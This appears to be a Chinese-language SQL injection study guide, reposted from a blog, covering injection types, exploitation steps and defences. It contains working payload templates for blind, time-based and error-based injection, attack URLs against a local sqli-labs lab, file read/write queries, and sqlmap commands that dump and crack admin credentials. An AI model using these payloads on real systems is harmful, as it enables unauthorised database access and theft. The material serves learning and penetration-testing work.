sql注入总结

# SQL注入总结

[TOC]



## 基础调查

### 什么是OWASP Top 10?

OWASP是指Open Web Application Security Project的缩写,是一个致力于保护web应用安全的公益性组织,该组织每隔几年会发布对于web应用影响最大的前10类漏洞,这些漏洞类型被称为OWASP Top 10。

### 什么是渗透测试?

模拟黑客攻击对目标系统的漏洞进行**授权**测试,帮助客户发现系统的漏洞薄弱点。

### 数据库结构

### DBMS和DB的区别?

## SQLi模板

## SQLi?

攻击者通过将构造的SQL payload附加到前端原本提交的参数中,导致后台拼接后的SQL语句被数据库执行,产生预期外效果。

## SQLi危害?

合适的情况下:

1. 从技术上来说:未授权、非法增删改查数据库内容,包括窃取信息、删除数据库、读写系统文件等等;
2. 从影响上来说:客户数据丢失、系统交易数据被篡改、网站首页被篡改。

## SQLi分类?

总体来说分两类:数字型注入和字符型注入。

按照其他分类方法,还有一些常见数据库注入类型:报错注入、盲注、延时注入、宽字节注入、二次注入、堆叠注入。

## SQLi原理

后端采用不安全的数据库连接方式,导致前台构造的SQL语句被后台DBMS执行,通过DBMS的能力产生危害。

## 如何发现SQLi?

确认是否是动态网站

找到可能与后台数据库产生交互的位置,测试是否是注入点。

## SQLi的利用步骤?

### 增删改查

> 步骤1:找注入点
>
> 步骤1.1:猜测后台SQL语句
>
> 步骤2:判断注入类型及闭合符
>
> 首先判断注入位置(http头部注入需要用到burp或者其他http客户端如python的requests库)、数字型还是字符型:    2-1
>
> 其次判断是否盲注、盲注类型、判断字符型的闭合符号:'和"都去试,找出包含的引号类别(避免重新测试不存在的引号)、加上注释符、加括号。
>
> 步骤3:判断后台查询列数
>
> 关键语法:order by
>
> ```
> %23    url编码->    #
> +    url编码->    {空格}
> ```
>
> 步骤4:找显示位
>
> 关键语法:union select 1,2,3……
>
> 步骤5:查库名
>
> > 1. 联合查询注入使用:SELECT database();
> > 布尔盲注使用:
> >
> > - 判断长度:len(database()) > 3
> >
> > - 判断各个位置字符:ascii()、substr()
> > ord()、mid()
> > 2. 延时盲注(延时注入):
> >   sleep()
> >   使用条件:能不使用就尽量不使用,仅仅在注入不同payload后返回相同http*响应包*时使用。
> >
> >   模板一:and if(ascii(substr((payload),1,1))>115,0,sleep(5)) --+  
> >
> >   模板二:and (sleep(5) and bool_payload);
> >
> > 3. 报错注入
> >        原理1——薛定谔之报错注入
> >        双(查询)注入,又称floor报错注入,想要查询select database(),只需要输入后面语句即可在MySQL报错语句中查询出来:
> >        1、union select count(*),1, concat((payload), floor(rand()*2)) as a from information_schema.tables group by a;
> >        2、and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
> >        限制:输出字符长度限制为64个字符
> >        原理2
> >        updatexml报错注入:MySQL执行1=(updatexml(1,concat(0x3a,(payload)),1))将报错。
> >        限制1:输出字符长度限制为32个字符
> >        限制2:仅payload返回的不是xml格式,才会生效
> >        原理3
> >        ExtractValue报错注入:执行模板1: and extractvalue('anything',concat('/',(Payload)))将报错,不推荐使用。
> >
> >      模板二:union select 1,(extractvalue(1,concat(0x7e,(payload),0x7e))),3%23,不存在丢失报错成果的情况。
> >
> >        限制:输出字符长度限制为32个字符,还存在丢失报错成果成果的情况,
> >        地址1
> >        http://192.168.68.128/sqli-labs/Less-5/?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23
> >        地址2
> >        http://192.168.68.128/sqli-labs/Less-5/?id=1' and 1=(updatexml(1,concat(0x3a,(select database())),1))%23
> >        地址3
> >        http://192.168.68.128/sqli-labs/Less-5/?id=1' and (extractvalue('anything',concat('/',(select version()))))%23
>
> 步骤6:查表名
>
> ```sql
> 联合注入:SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名";
>
> 盲注:
> 1、判断查询结果字符串长度:length((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"))=29
> 2、循环判断查询字符串每一个字符:SELECT(ascii(substr((SELECT group_concat(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA = "库名"),1,1))=101)
> ```
>
> 步骤7:查列名
>
> ```sql
> SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = "库名" AND TABLE_NAME = "表名"
> ```
>
> 步骤8:查记录
>
> 根据表结构查数据SELECT a FROM t_b WHERE xxxx;

### 读写文件

#### 读文件

select load_file("PATH");

load data infile()

system cat

#### 写文件

SELECT “123” INTO OUTFILE “c:/123.txt";

要使用联合查询写文件,不能使用and或者or拼接写文件

读文件

## 工具使用

### SQLMap

#### 安装SQLMap

安装python2.7

拷贝SQLMap目录

cmd进入SQLMap目录运行SQLMap

#### GET数字型注入利用过程示范

##### 寻找注入点

截取访问连接:

得到注入点:http://xxxx

##### 查询库名

打开cmd,切换当前目录到D:SQLMAP

执行命令:python sqlmap.py -u "注入点" --current-db

##### 指定库名查表名

执行命令:python sqlmap.py -u "注入点" -D 库名 --table

##### 指定库名、表名查列名

执行命令:python sqlmap.py -u "注入点" -D 库名 -T 表名 --column

##### 获取sql-shell

执行命令:python sqlmap.py -u "注入点" --sql-shell

获得sql-shell提示符

##### 查记录

前面步骤获取到表结构后,在sql-shell提示符后面输入SQL语句查询记录:

select username, password from t_admin;

获得管理员账号记录:

账号:admin

md5(密码):xxxx

##### 反查密码

访问cmd5.com,输入md5(密码)查询,得知密码为:xxx

#### POST注入利用方式

- --form

- --data “var1=parm1&var2=parm2"

- -r "request.txt"

## SQLi如何防御或修复

1. 正确地采用安全的数据库连接方式,如php中的PDO或MySQLi

2. 采用成熟的防注入的框架(参考OWASP网站、或者Discuzz及WordPress等的防注入手段)

3. 细节上:

   - 对于提交的数字型参数,需严格限定数据类型;
   - 特殊的字符转义
   - 避免存储过程出现注入

原文地址:https://www.cnblogs.com/gx991010/p/12980709.html